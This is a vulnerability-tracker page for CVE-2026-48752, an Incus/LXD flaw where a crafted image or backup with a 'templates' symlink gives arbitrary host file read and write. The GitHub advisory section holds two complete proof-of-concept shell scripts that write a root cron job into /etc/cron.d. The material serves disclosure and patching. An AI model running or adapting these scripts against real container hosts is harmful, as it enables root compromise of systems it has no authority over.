Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Incus has arbitrary file read+write on host via templates/ symlink in malicious image

CVSS 3.1 9.9 CRITICALEUVD CVSS 3.1 9.9 CVSS 3.1 · [email protected] · Secondary 9.9 CRITICALCVSS_V3 Publisher rating CRITICALFixed by github.com/lxc/incus/v7/cmd/incusd 7.2.0osv · severity unknownFixed by github.com/lxc/incus/v7 7.2.0KEV status unknown

cve-program · CVE-2026-48752

Published

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 patches the issue.

Read the publisher's advisory

euvd · EUVD-2026-63979

Published

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 patches the issue.

Read the publisher's advisory

nvd · CVE-2026-48752

Published

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 patches the issue.

Read the publisher's advisory

osv · GHSA-vxp5-584q-c479

Published

### Summary A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. ### Details For container images, `internal/server/storage/utils.go` calls `archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in `shared/archive/archive.go` excludes device nodes, but it does not reject a top-level `templates` symlink. For instance backups, `internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy` uses argument `-a` (archive mode), but does not add `--safe-links`. This allows a top-level `templates` symlink. In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it. ### PoC #### Malicious container image Below, the templates directory is mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root. ``` #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" ln -s /etc/cron.d "${tmpdir}/img/templates" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC templates symlink host afrw __EOF__ cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink incus init afrw-image-templates-symlink afrw-image-templates-symlink incus config template ls afrw-image-templates-symlink # read #incus config template show afrw-image-templates-symlink $FILENAME # write printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32 #incus config template edit afrw-image-templates-symlink poc ``` #### Malicious instance backup Below, the templates directory is mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root. ``` #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/backup" cat<<__EOF__>"${tmpdir}/img/backup/index.yaml" name: afrw-backup-templates-symlink backend: dir pool: default type: container optimized: false __EOF__ mkdir "${tmpdir}/img/backup/container" cat<<__EOF__>"${tmpdir}/img/backup/container/backup.yaml" container: name: afrw-backup-templates-symlink architecture: x86_64 type: container status: Stopped status_code: 102 stateful: false ephemeral: false profiles: - default config: volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5 volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49 expanded_config: volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5 volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49 devices: {} expanded_devices: root: path: / pool: default type: disk created_at: "2024-01-01T00:00:00Z" last_used_at: "2024-01-01T00:00:00Z" volume: name: afrw-backup-templates-symlink type: container content_type: filesystem config: {} pool: name: default driver: dir config: {} __EOF__ cat<<__EOF__>"${tmpdir}/img/backup/container/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: afrw-backup-templates-symlink __EOF__ mkdir "${tmpdir}/img/backup/container/rootfs" ln -s /etc/cron.d "${tmpdir}/img/backup/container/templates" cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar incus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink incus config template ls afrw-backup-templates-symlink # read #incus config template show afrw-backup-templates-symlink $FILENAME # write printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-backup-templates-symlink poc-32 #incus config template edit afrw-templates-symlink poc ``` ### Impact Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

Read the publisher's advisory

osv · GO-2026-5803

Published

Incus has arbitrary file read+write on host via templates/ symlink in malicious image in github.com/lxc/incus

Read the publisher's advisory

Affected versions, risk and source history

cve-program · CVE-2026-48752

Published

incus

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "lxc",
                    "product": "incus",
                    "versions": [
                        {
                            "version": "< 7.2.0",
                            "status": "affected"
                        }
                    ]
                }

lxd

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "canonical",
                    "product": "lxd",
                    "versions": [
                        {
                            "version": ">= 4.0.0, < 4.0.11",
                            "status": "affected"
                        },
                        {
                            "version": ">= 5.0.0, < 5.0.7",
                            "status": "affected"
                        },
                        {
                            "version": ">= 5.1.0, < 5.21.5",
                            "status": "affected"
                        },
                        {
                            "version": ">= 6.0.0, < 6.9.0",
                            "status": "affected"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2026-63979

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 21, 2026, 2:31:57 PM

dateUpdated: Nov 5, 2026, 11:18:42 PM

1 related source bulletins · separate from aliases

openSUSE-SU-2026:11651-1: incus-7.4-1.1 on GA media

CVE-2026-39402 · CVE-2026-47753 · CVE-2026-48749 · CVE-2026-48750 · CVE-2026-48751 · CVE-2026-48752 · CVE-2026-48753 · CVE-2026-48754 · CVE-2026-48755 · CVE-2026-48756 · CVE-2026-48769 · CVE-2026-55621 · CVE-2026-55622 · CVE-2026-62313 · CVE-2026-62867 · CVE-2026-62940 · CVE-2026-62941 · CVE-2026-63125 · CVE-2026-63343 · CVE-2026-81500 · CVE-2026-81501

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2026-48752

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-73

Original publisher date fields

published: 2026-08-21T15:16:40.667

lastModified: 2026-11-06T01:17:49.623

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-vxp5-584q-c479

Published

github.com/lxc/incus/v7/cmd/incusd

Go

SEMVER · introduced 0 → fixed 7.2.0

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GO-2026-5803

Published

github.com/lxc/incus

Go

SEMVER · introduced 0

github.com/lxc/incus/v6

Go

SEMVER · introduced 0

github.com/lxc/incus/v7

Go

SEMVER · introduced 0 → fixed 7.2.0

Original source record · Cite this exact observation · Complete original publisher JSON

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 15 Nov 13:16 UTC · 255 of 275 readable · 250 fully read · documentation 469/469 current